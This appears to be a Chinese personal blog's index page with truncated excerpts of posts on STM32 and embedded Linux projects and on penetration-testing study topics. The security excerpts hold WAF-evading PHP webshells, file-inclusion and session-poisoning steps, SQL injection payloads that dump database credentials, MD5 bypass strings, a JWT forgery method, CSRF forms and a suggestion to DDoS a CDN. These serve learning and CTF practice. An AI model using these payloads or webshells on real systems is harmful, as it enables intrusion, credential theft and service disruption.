STM32智能小车
概述 基于 GEC Double Pi 母板的 STM 32 平台,使用 Keil 编辑编译代码,使用 FlyMcu 烧录程序。
编程语言:C 。
功能:实现小车的循迹、自动避障和蓝牙遥控。
核心代码文件结构:
beep.c — 蜂鸣器控制
led.c — LED 灯控制
motor.c — 电机控制
key.c — 按键控制
track.c — 小车循迹和避障控制
bt.c — 蓝牙遥控控制
GPIO引脚简介 GPIO:General Purpose Input/Output Pins(通用功能输入/输引脚 )。
引脚:从芯片内部引出来的,一根可以输入和输出复用的导线 。CPU 控制整个外围电路都是通过引脚来实现的。STM32F103 有 112 个引脚,分为7组,分别记为 GPIOA 、GPIOB 、GPIOC … GPIOG 。每组 16 个引脚, 编号从 0~15 ,例如 GPIOA0、GPIOA1 ,简记为 PA0 、PA1 。
功能输出功能 写
输出推挽 Push-PullCPU 写 1 ,外部引脚输出一个高电平 1 。CPU 写 0 ,外部引脚输出一个低电平 0 。
输出开漏 Open-DrainCPU 写 1 ,引脚内部悬空(断开)。CPU 写 0 ,引脚内部接地(低电平0)。
输入功能 读 CPU 可以获取外部引脚的电平状态。
每一个引脚都有一个上拉电阻和下拉电阻,通过配置上拉电阻和下拉电阻,可以控制引脚的默认的电平状态。当开启上拉电阻时,引脚默认是高电平。当开启下拉电阻时,引脚默认是低电平。
输入悬空disable 上拉电阻 disable 下拉电阻。
带上拉的输入enable 上拉电阻 disable 下拉电阻。
带下拉的输入disable 上拉电阻 enable 下拉电阻。
模拟输入CPU 用此引脚来采集外部电路的模拟信号。
操作 使用官方库来操作 GPIO 。
初始化 使能 GPIO 分组和 AFIO 时钟:
123456789101112131415void RCC_APB2PeriphClockCmd(uint32_t RCC_APB2Periph, FunctionalState NewState)参数: RCC_APB2Periph 指定要使能时钟的外设名 - RCC_APB2Periph_GPIOA GPIOA时钟 - RCC_APB2Periph_GPIOB GPIOB时钟 - ... - RCC_APB2Periph_AFIO 复用时钟 NewState 指定时钟的状态 - ENABLE 使能 - DISABLE 禁止 例子: //使能 GPIOB 和 AFIO 时钟RCC_APB2PeriphClockCmd( RCC_APB2Periph_GPIOB|RCC_APB2Periph_AFIO , ENABLE );
禁用 Jtag 功能,把 PB3、PB4 等重新映射为普通 IO 口:
1234void GPIO_PinRemapConfig(uint32_t GPIO_Remap, FunctionalState NewState)例子:GPIO_PinRemapConfig( GPIO_Remap_SWJ_JTAGDisable , ENABLE );
初始化 GPIO :
12345678910111213141516171819202122232425262728293031323334353637383940414243void GPIO_Init(GPIO_TypeDef* GPIOx, GPIO_InitTypeDef* GPIO_InitStruct) 参数: GPIOx 指定要初始化的GPIO分组 - GPIOA - GPIOB- GPIOC - ... GPIO_InitStruct 要初始化配置的结构体的地址GPIO结构体说明:typedef struct{ uint16_t GPIO_Pin; //引脚编号 - GPIO_Pin_0 - GPIO_Pin_1 - GPIO_Pin_2 - ... - GPIO_Pin_15 GPIOSpeed_TypeDef GPIO_Speed; //输出速率 - GPIO_Spee ...
智能家居控制系统
概述 项目地址:GitHub
基于 GEC 6818 开发板,使用 Linux 下 C 编程实现的智能家居控制系统。可实现实时采集并显示周围环境的数据,当数据高于或低于某一阈值时,执行不同的动作,如报警、亮灯。
代码文件结构:
说明:
lcd.c — 打开/关闭屏幕、在屏幕上画点和画图
bmp.c — 在屏幕上显示 bmp 图片
word.c — 在屏幕上显示文本
touch.c — 获取在屏幕上点按的坐标和手指滑动的方向
uart.c — 获取并解析传感器数据、控制家具
环境准备交叉编译 在一个环境下编译生成,适用于另一个环境下运行的可执行文件的过程。
由于 GEC6818 使用的是运行在 ARM 架构上的 Linux 操作系统,因此代码需要通过交叉编译才能正常运行在开发板上。
指令:arm-linux-gcc *.c -o main.out -lm -pthread 。由于项目代码中使用了数学函数和线程函数,因此在编译时需要链接这两个库,即 -lm 和 pthread 。
设置共享文件夹 实现 Windows 和虚拟机的文件互通。在 Windows 中编辑代码,在 Linux 中编译代码。
首先在 Windows 下创建项目工程文件夹(如 smart_home),把项目的代码都放入该文件夹中。
虚拟机设置 –> 选项 –> 共享文件夹 –> 总是启用 –> 添加 –> 选择 smart_home 作为共享文件夹 –> 确定。
Linux 中共享文件夹的路径: /mnt/hgfs/<共享文件夹名字> ,如 /mnt/hgfs/share 。共享文件夹的名字可在上一步中自由命名。
cd 进入共享文件夹路径后,交叉编译即可。
其他 使用 SecureCRT 连接 6818 开发板的操作系统。
烧录文件:rx <filename> 。
赋予 main.out 可执行权限:chmod +x main.out 或 chmod 0777 main.out(超级权限)。
在 Linux 中查看函数的说明文档:man 命令。
man -f 函数名 — 查看页码及对应页的内容概要
man 页码 函数名 — 查看指定页的详细内容
键入 q 退出文档。
LCD显示屏显色原理 6818 开发板 LCD 屏幕的分辨率:800*480 。
分辨率:单位面积内的像素点的个数。所以 800*480 表示一行有 800 个像素点, 总共有 480 行。
像素点(pixel) 是能够显示某种颜色的点。在屏幕上显示一个颜色,就是给对应的像素点一个颜色值。
各种各样的颜色都由三种基本颜色组成:Red Green Blue ,并用量化表示颜色的程度。
量化:数量化,数值大小表示程度,每种颜色的分量占 1 个字节,0255( 0x000xFF )。
Red Green Blue 0xFF 0x00 0x00 —> 0xFF0000 (正红色)
LCD 屏幕的每一个像素点占 4 个字节(a r g b),a 表示透明度。在后续的画点、画图、显示图片、显示字符中,对 LCD 屏幕的每一个像素点写入的颜色数据不必一定占满 4 个字节,如只写入 0xFF0000(3个字节),这种不指定透明度的情况下,默认透明度最大,即实际为 0xFF0000FF(4个字节)。
操作系统的作用 提供接口。在内存中开辟一块缓冲区,用来保存屏幕上每一个像素点的颜色值。应用程序只需要把要显示的颜色值写到这个缓冲区中即可,操作系统将根据写入的内容渲染屏幕。
这个缓冲区在 Linux 操作系统中称为帧缓冲(Frame Buffer)。帧缓冲设备是对具体图像硬件的一种抽象,它让上层应用不必关心底层硬件的实现细节。
6818 开发板屏幕对应的设备文件路径名为 /dev/fb0 ,只需要把颜色值写入到 /dev/fb0 文件中,底层驱动就会把屏幕上对应的像素点显示对应的颜色。
文件IOopen123456789101112131415161718192021222324252627#include <sys/types.h> #include <sys/stat.h>#include <fcntl.h&g ...
渗透测试中的信息搜集
目标网站如果用了 CDN 技术,对于安全测试是有阻碍的,必须想办法绕过,不然测试意义不大。
查看目标网站是否用了 CDN 技术,可以超级 ping 一下,看响应 IP 是否都一样。
CDN 绕过方法:
子域名查询。如 computer.xxx.edu.cn 和 www.xxx.edu.cn 是同一个 IP,即使不是同一个 IP ,也可能在同一个网段。此时扫一下存活 IP 或爆一下网段,及扫一下 IP 对应开放端口,就可能找到主站真实 IP 。
邮件服务查询。因为外部用户对邮件服务一般访问较少,多为公司内部使用,所以架设 CDN 的可能性不大。但是有可能采用了反向代理技术,即你主动去访问它,可能访问到的只是一个代理。应该让它主动访问你,比如给你发一个邮件,那么就可能暴露该网站的真实 IP 。
网页端打开它发过来的邮件,右键查看邮件源码,在里面找 IP 。如果你不确定这个是不是主站真实 IP (有可能跟你用其他方法如 ping xxx.com 得到的 IP 不一样),那社工一下。查一下 IP 所在区域,再对比网站备案地址、公司所在位置,地点相近的那个 IP 可能性更大。
国外地址请求。有的网站主要用户群体在国内,所以可能针对国外就没有架设 CDN 了。如果用一个国外的地址去访问,就可能得到网站的真实 IP 。
遗留文件。如某些用 PHP 写的网站,可能存在 phpinfo.php 这类信息文件,且可以访问,那么里面的 IP 可能就是网站的真实 IP 。
inurl:phpinfo.php 。
DDoS 。两种方法:
收集所有响应 IP ,可能里面就存在真实 IP 。因为可能有些请求就在主机旁边,其响应由主机发出。
DDoS 一个 CDN ,当这个 CDN 的流量挂了,真实 IP 就暴露了。
DNS 历史记录。有的站可能在一开始没有架设 CDN ,后来因为访问量变大而架设 CDN ,所以查 DNS 历史记录就可能查得到真实 IP 。
获取到真实 IP 后,修改本地 hosts 文件,就可以永久绕过 CDN 。
大部分网站加或不加 www 访问时,都会访问到同一个网页。如 baidu.com 和 www.baidu.com ,即 www 对应的那个网页。
但是如果该网站架设了 CDN ,那么这两种方式对应的 IP 是不一样的,如百度:
因为一般用户访问时都会加上 www ,但为了访问的便利性和网站的一般设置,会设置如下:
但是一般只有主站会这么设置,CDN 站就只有 www 而没有 * 。
所以一般不加 www 的那个 url 的 IP 就是主站 IP 。
一般 m.xxx.com 是手机访问时站点,如 m.baidu.com 。
信息搜集要完成的任务:
有无 CDN 。
编程语言、框架类型或 CMS 类型。
操作系统、搭建平台类型(如PHPStudy)、数据库类型。
一般用第三方搭建平台(PHPStudy、宝塔等)管理站点的,响应包中 Server 字段的内容是比较多的,如 Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45 。如果是自己下载 Apache、Nginx 等中间件,自己搭建的网站,就不会这么全。
有无 WAF ,有 WAF 的一般响应包里会带 X-Powered-By: [xxx]WAF[xxx] 字段。
先看有没有 WAF 再扫,直接开扫会被 WAF 封锁 IP 。
一般封 IP 是因为网站识别到你是爬虫程序(UA头判别),所以你可以修改 UA 为官方浏览器的爬虫来绕过。当然如果是针对异常流量封 IP ,那就没办法了。
子域名搜集、顶级域名搜集、IP 收集、目录扫描、端口扫描。
可能该站换过顶级域名,或同时备案了其他顶级域名,如 www.baidu.org 、www.baidu.net 。
社工。
在信息搜集的过程中,要敏锐嗅探,总是询问“这个地方是否可能存在漏洞”。
根据关键字进行信息搜集,如网站关键字、xxx 公司、xxx 产品。
目录扫描,用工具开扫的话,一般会被 waf 拦截。原因:
工具发送的请求包的请求方式一般不是 GET 或 POST ,而是响应更快的 HEAD 等,这不符合一般用户使用浏览器的访问习惯。
工具发送请求包的速度很快,不符合一般用户使用浏览器的访问速度。
绕过 ...
渗透测试零碎学习笔记
JWT安全JWT简介
用户登录,用户名和密码在请求中发往服务端。
确认登录信息正确后,服务端生成 JSON 头部和声明,将登录信息写入 JSON 的声明中(通常不写入密码,因为 JWT 是不加密的),并用指定算法进行加密,生成用户的 JWT 。此时,服务端并没有保存用户的登录状态信息。
服务端将 JWT 通过响应发给客户端。
用户进行下一次会话时,客户端自动将 JWT 写在请求头中。
服务端对 JWT 进行验证,若验证通过,则确认此用户的登录状态。
服务端返回响应。
一种利用JWT的攻击方式 窃取他人已使用过的 JWT ,将签名算法改为 none ,并修改已失效的时间戳为有效时间戳,然后利用重新构造的 JWT 进行登录。不过如果服务端检测签名算法,或对时间戳有某种限制,这种攻击方式就失效了。
一句话木马绕过
变量绕过:
12345678910<?php$a = $_GET['x'];$$a = $_GET['y'];$b($_POST['cmd']);?>//?x=b&y=eval//演变过程$a = b$b = evaleval($_POST['cmd'])
为什么这样写,而不直接 $a($_POST['cmd']); ,是避免 waf 的参数追踪。waf 检测到 $a 可控,并后续参与了木马执行。而换一种写法,在木马执行语句中,$b 在代码层面上属于未声明变量,所以可绕过 waf 。
编码绕过:
123456<?php$a = $_GET['x'];$$a = $_GET['y'];$b(base64_decode($_POST['cmd']));?>//?x=b&y=cGhwaW5mbygpOw==
避免 waf 对参数值进行敏感词过滤。
代码加密。找工具,类似 JS 混淆这样的。
异或、同或…类似 RCE 的绕法。安全是相通的。
组合拳。
修改蚁剑的指纹。
小迪安全 P48 ,51分钟~1小时19分,一个很好的 RCE 绕过思路。
安全是相通的,思维要活跃,也吃经验。waf 是不可能把所有都写死的,不然留给业务逻辑的可用东西就很少,而且容易错杀,绕过就是在给出的余地中构造。
日站思路
CMS 识别,针对该 CMS 的漏洞进行测试。
无果,下一步。
找网站后台(即后台登录界面),针对后台进行测试。
无果,下一步。
端口扫描,根据端口对应的服务进行测试,如 888 对应宝塔。
无果,下一步。
寻找网站备份文件,然后慢慢解读。比如能找到数据库相关文件,用 Navicat 尝试连接网站数据库。
实战:小迪安全 P42 1小时06分之后。
Java序列化标志 一段数据以 rO0AB 开头,可以基本确定是 Java 序列化后 Base64 加密的数据。
如果以 aced 开头,则是 Java 序列化后的 16 进制数据。
应急响应 没有公司信息的进程为可疑。在 hkkvjuvffo 工具中,标蓝的进程为外部进程,即非系统自带,不过有些是安全的,需要手动识别。
找到可疑进程,如何判断是不是木马呢?
这个进程执行后在干什么。
重点,是否建立外部通信。因为木马的利用一定是要与攻击者建立联系。在上述页面中,查看网络相关项。
找到木马后,还要分析木马什么时候被执行,如开机自启动,或者开启其他服务的时候。工具:UserAssistView 。在这个工具里找到执行时间,配合日志进行分析。
案例:
应急响应的五个阶段:保护、分析、复现、修复、建议。
目的:分析攻击时间、攻击操作、攻击后果、安全修复等并给出合理的解决方案。
从表现预估入侵面及权限面进行排查。
有明确信息网站被入侵:
基于时间、基于操作、基于指纹、基于其他。
无明确信息网站被入侵:
WEB 漏洞 - 检查源码类别及漏洞情况。
中间件漏洞 - 检查对应版本及漏洞情况。
第三方应用漏洞 - 检查是否存在漏洞应用。
操作系统层面漏洞 - 检查是否存在系统漏洞。
其他安全问题(口令、后门等) - 检查相关应用口令及后门扫描。
内网安全 ipconfig /all ,如果第一项的“主机DNS后缀”不为空,则该计算机位于内网。
域控制器(Domain Contr ...
文件包含漏洞学习
文件包含概述 文件包含分为两种:
本地文件包含(Local File Include,简称 LFI),包含服务端的文件。
远程文件包含(Remote File Include,简称RFI),包含指定 url 的文件。
远程文件包含时,PHP 配置中需要:
allow_url_fopen=On(默认为On) ,规定是否允许从远程服务器或者网站检索数据。
allow_url_include=On(PHP5.2.x之后默认为Off), 规定是否允许 include/require 远程文件。
相关函数include 包含文件发生错误时,程序警告,但会继续执行。
include_once 和 include 类似,但只包含一次。
require 包含文件发生错误时,程序报错,并直接终止执行。
require_once 和 require 类似,但只包含一次。
上述四个函数,无论包含的是什么类型的文件,都将做为 PHP 代码执行。
敏感信息路径Windows123C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件C:\ProgramFiles\MySQL\my.ini //MySQL配置文件C:\ProgramFiles\MySQL\Data\mysql\user.MYD //MySQL root密码
Linux/Unix12345678910111213141516/etc/passwd //账号密码/etc/shadow //账号密码/usr/local/app/apache2/conf/httpd.conf //Apache2配置文件/var/log/apache2/access.log //Apache日志文件/var/log/apache2/error.log //Apache错误日志/var/log/nginx/access.log //nginx日志文件/var/log/nginx/error.log //nginx错误日志/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置文件/usr/local/app/php5/lib/php.ini //PHP配置文件/etc/httpd/conf/httpd.conf // Apache配置文件/etc/my.conf //MySQL配置文件文件/etc/ssh/sshd_config //ssh配置文件/var/log/auth.log //ssh日志文件/etc/nginx/nginx.conf //nginx配置文件/etc/nginx/sites-enabled/default //nginx配置文件/var/www/html/ //默认网站路径
session文件包含获取session文件存储位置
查看 phpinfo:
默认位置:Linux 下默认存储在 /var/lib/php/session 目录下。
漏洞分析 前置知识:session 的文件名为 sess_ + sessionid,sessionid 可 F12 查看:
测试代码:test.php
12345<?phpsession_start();$cmd = $_GET['cmd'];$_SESSION['username'] = $cmd;?>
访问 localhost/test.php?cmd=flag ,查看 session 文件:
如果写入 localhost/test.php?cmd=<?php eval($_POST['cmd']);?> ,那么通过文件包含对应的 session 文件便可 getshell 。
日志文件包含web中间件访问日志包含Apache(选择性开启一个)
通用访问日志:对应 http.conf 中 ##CustomLog "logs/access.log" common
组合访问日志:对应 http.conf 中 #CustomLog "logs/access.log" combined
Nginx
已知日志文件中会写入访问内容和 User-Agent ,所以我们可以 ...
MD5绕过与SHA-1绕过
0e绕过 SHA-1 也适用。
当字符串为 ^[0-9]+e[0-9]+ 模式时,PHP 将试图把字符串转换为用科学计数法表示的数。如果不是真正的科学计数法表示的数,即 e 后面不全是数字,转换将出错,此时 PHP 将把它视为一个字符串。
所以,如果两字符串的 MD5 值都是 ^0e[0-9]+ 模式,即 e 后全部是数字,则可绕过 MD5 弱相等。
以下字符串的 MD5 值均为 ^0e[0-9]+ 的模式,即可转为数字 0 :
QNKCDZO
QLTHNDT
PJNPDWY
NWWKITQ
NOOPCJF
MMHUWUV
MAUXXQC
240610708
s878926199a
s155964671a
s214587387a
以下字符串的 SHA-1 值均为 ^0e[0-9]+ 的模式,即可转为数字 0 :
10932435112
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
0e1290633704
对于双重 md5() ,以下字符串进行两次 md5() 后以 0e 开头:
7r4lGXCH2Ksu2JNT3BYM
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
对于 $a==md5($a) :
0e215962017
绕过 SQL 中的 md5() ,参考[BJDCTF 2020]easy_md5 :
ffifdyop ,经过 md5() 函数后结果为 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
129581926211651571912466741651878684928 ,经过 md5() 函数后结果为 \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
数组绕过 PHP md5() 函数不能处理数组类型的量,将返回 NULL 。使用数组可以绕过 MD5 弱相等和强相等。
sha1() 也不能处理数组类型的量,所以使用数组也可以绕过 SHA-1 弱相等和强相等。
123456789101112131415$a[]=1;$b[]=2;var_dump($a);echo md5($a)==md5($b); //NULL==NULLecho md5($a)===md5($b); //NULL===NULL/*输出:array(1) { [0]=> int(1)}11*/
NaN和INF绕过 NAN 和 INF ,分别为非数字和无穷大,但 var_dump() 显示的数据类型都是 double 。
NAN 和 INF 拥有特殊的性质,它们与任何数据类型(除了true)做强类型或弱类型比较均为 false ,甚至 NAN===NAN 也是false 。但 md5() 函数处理它们的时候,是将其直接转换为字符串 NAN 和 INF 使用的,故 md5('NaN')===md5('NaN') 为 true 。
MD5碰撞 几组 payload:
123456789#1a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 #2a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77 ...
信息泄露
vim泄露 vim <filename> 命令,用 vim 打开文件。
用 vim 编辑文件时,如果正在编辑中的文件意外退出了,将会自动创建一个备份文件。如果文件名是 test.txt ,那么备份文件就是 .test.txt.swp ,并且备份文件不会展示出来。如果管理员没有删除这个备份文件,那么这个备份文件可能会被下载下来利用。
使用 vim -r .test.txt.swf 命令打开备份文件。
例题,[LitCTF 2023]Vim yyds 。
不开工具进行信息搜集,啥也没有。
下载页面 HTML 文档和图片文件,均用 vim 打开也没有什么。
开启目录扫描,发现主页面文件为 index.php ,尝试访问 /.index.php.swf ,浏览器自动下载了该文件,说明存在 vim 泄露。
vim 打开 .index.php.swf ,审计代码。
payload:password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag 。
散列碰撞
MD5和SHA-1 MD5(Message Digest Algorithm 5)是一种散列函数,用于计算消息的128位(16字节)散列值。
SHA-1(Secure Hash Algorithm 1)也是一种散列函数,用于计算消息的160位(20字节)散列值。
SHA-1 相对于 MD5 来说更安全。虽然 MD5 和 SHA-1 都容易受到碰撞攻击,但 SHA-1 比 MD5 更安全,因为它具有更大的散列值(160位比128位),提供了更高的抗碰撞能力。
由于安全性的问题,MD5 和 SHA-1 已经不推荐用于与安全性相关的应用,如密码存储和数字签名。对于需要更高安全性的应用,如密码哈希、数字证书、数据完整性验证等,应该使用更安全的散列算法,如 SHA-256、SHA-384 或 SHA-512。
尽管 MD5 和 SHA-1 在安全性方面存在问题,但它们仍然在某些非安全性相关的应用中有用。例如,用于简单的数据完整性检验或生成简短的哈希值,而不涉及密码或敏感数据的安全性。
散列碰撞 散列碰撞是指找到两个不同的输入消息,但它们具有相同的散列值。
MD5 在理论上可以通过穷举法找到碰撞,但需要极大的计算能力和时间。然而,随着计算技术的发展,攻击者已经能够通过使用分布式计算和专用硬件等方法,实现更快速地生成 MD5 碰撞。
SQL注入学习
概述前置知识–+ MySQL 中有三种注释符:# 、--空格 、/**/ 。
url 中 # 会被浏览器解释为指导其动作的那个 # 号,所以如果需要使用 # ,需先将其 url 编码为 %23 。
对于 --空格 ,在 url 传入 --+ 时,+ 号到后端后会变为空格。
123<?phpecho $_GET['cmd'];?>
传入 ?cmd=--+123 :
select 1, database()
引号、括号问题 它可能查不到结果,但它不会报错:
无论加几个半括号都可以:
一些函数
system_user():MySQL 用户名
user():用户名
current_user:当前用户名
session_user():连接数据库的用户名
database():数据库名
version()、@@version:MySQL 版本
@@datadir:数据库路径
@@basedir:MySQL安装路径
@@version_compile_os:操作系统
一些语句
show databases:查看所有库名
show tables:查看当前库下所有表名
show columns from xxx:查看 xxx 表的所有字段名,如果表名是数字,需要用反引号包围
select * from mysql.user :获取 MySQL 所有账密
information_schema库三表
information_schema.schemata:存储 MySQL 中的所有数据库的库名
information_schema.tables:存储 MySQL 中的所有数据表的表名
information_schema.columns:存储 MySQL 中的所有列的列名
MySQL5.0 以下,没有 information_schema 数据库。
MySQL5.0 以上,默认添加了一个名为 information_schema 的数据库,该数据库中的表都是只读的,不能进行更新、删除和插入,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。
检测注入点 id=1' 、id=1" 、id=1') 、 id=1')) 、id=1") 、id=1")) 等。
闭合推理 示例,sqli-labs Less-7 :
1’:错
1” :成
推出 ‘$id’
1’–+ :错
推翻 ‘$id’
1’)–+:错
1’)) –+:成
推出 ((‘$id’))
注入类型联合注入爆语句 注入点检测。
爆字段数 ?id=1' order by N--+
爆回显位置 ?id=-1' union select 1,2,3--+
爆库名 ?id=-1' union select 1,2,database()--+
爆表名 ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='xxx'--+
爆列名
精确到表:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='xxx' and table_name='xxx'--+
精确到库:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='xxx'--+
爆值 ?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+
报错注入extractvalue()123EXTRACTVALUE(xml_document, xpath_string)- xml_document:XML 文档名- xpath_string:目标 XML 标签在标签树的路径,如 `/bo ...
CSRF漏洞学习
简介 CSRF(Cross-Site Request Forgery),跨站请求伪造。看起来与 XSS 很像,但 XSS 是获取网站受信任用户的信息进行攻击,而 CSRF 并没有获取用户的身份信息,只是通过伪装成用户进行攻击。CSRF 攻击流程示例:
受害者登录 a.com,并保留了登录凭证 Cookie
攻击者引诱受害者访问了 b.com
b.com 向 a.com 发送了一个请求:a.com/act=xxx,浏览器会默认携带 a.com 的 Cookie
a.com 接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求
a.com 以受害者的名义执行了 act=xx
攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让 a.com 执行了攻击者想要的操作
注意,edge 浏览器限制了不同源网站不能传递 Cookie ,但 IE 没有这个问题。
分类GET型 类似 XSS:
123456789<img src="http://example.com/act=xxx" style="display:none;"/>//一般像这种在<body>里的,且利用src属性的元素,加上style="display:none;"会更好<link href="…"><iframe src="…"><script src="…"><video src="…"><audio src="…"><a href="…">...
有些情况下(如鼠标悬浮在链接上,或者用户查看了网页源代码),攻击者构造的 URL 会把攻击意图暴露给用户,这种情况可以用短网址进行伪装。
POST型1234<form action="http://example.com/act=xxx" method="POST"> <input type="hidden" name="xxx" value="xxx"/></form><script>document.forms[0].submit();</script> //这行代码加不加都行,加了就是一个自动提交
修复
二次确认,使用验证码或需要重新输入密码。比如转账时要求用户重新输入密码,进行删除操作时要求用户输入验证码。这个方法可以完全解决 CSRF ,但是出于用户体验考虑,网站不能给所有的操作都加上二次确认。因此该方法只能作为一种辅助手段,不能作为主要解决方案。
验证 HTTP Referer 字段,该字段记录了此次 HTTP 请求的来源地址。